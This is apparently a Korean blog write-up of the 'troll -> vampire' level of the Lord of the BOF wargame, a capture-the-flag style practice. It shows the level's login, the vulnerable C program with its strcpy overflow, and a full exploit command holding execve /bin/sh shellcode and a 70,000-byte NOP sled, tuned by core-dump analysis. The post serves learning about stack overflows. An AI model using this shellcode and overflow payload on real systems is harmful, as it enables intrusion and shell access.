SH1R0_HACKER
9. troll -> vampire 본문
id : troll
password : aspirin
[ vampire.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
RET값이 다음의 조건을 만족해야한다.
0xbf 가 처음에 무조건 들어가야하고 0xbfff????가 되면 안된다.
argv[1]의 길이 제한도 없으니 다음의 방법을 이용해서 공격해보자.
0xbffeffff에 쉘코드를 넣고 RET 주소를 \xff\xff\xfe\xbf 로 해주면 가능할 것 같다.
0xbfffffff ~ 0xbffeffff 까지는 약 65,536byte이다.
넉넉하게 70,000byte로 잡아두고 페이로드를 작성하자.
RET에 브레이크포인트를 걸어두고 "A"*44 + "BBB\xbf" + "E"*30 + "\x90*70000" 를 날려주었다.
"BBB\xbf" 부분에는 쉘코드 주소가 들어갈꺼고 "E" 에는 쉘코드가 들어갈꺼다.
RET주소를 0xbffee970으로 잡고 공격하면 되겠다.
./vampire2 `python -c 'print "A"*44+"\x70\xe9\xfe\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*70000'`
코어를 분석해보자.
RET 주소가 0xbffee97c로 바꼈다.
다시 RET의 값을 0xbffee980으로 주소를 바꿔주자.
잘 된다.
이제 원본파일에 적용하여 bash를 실행해보자.
'System > The Lord of BOF' 카테고리의 다른 글
11. skeleton -> golem (0) | 2020.10.29 |
---|---|
10. vampire -> skeleton (0) | 2020.10.28 |
8. orge -> troll (0) | 2020.10.26 |
7. darkelf -> orgc (0) | 2020.10.24 |
6. wolfman -> darkelf (0) | 2020.10.24 |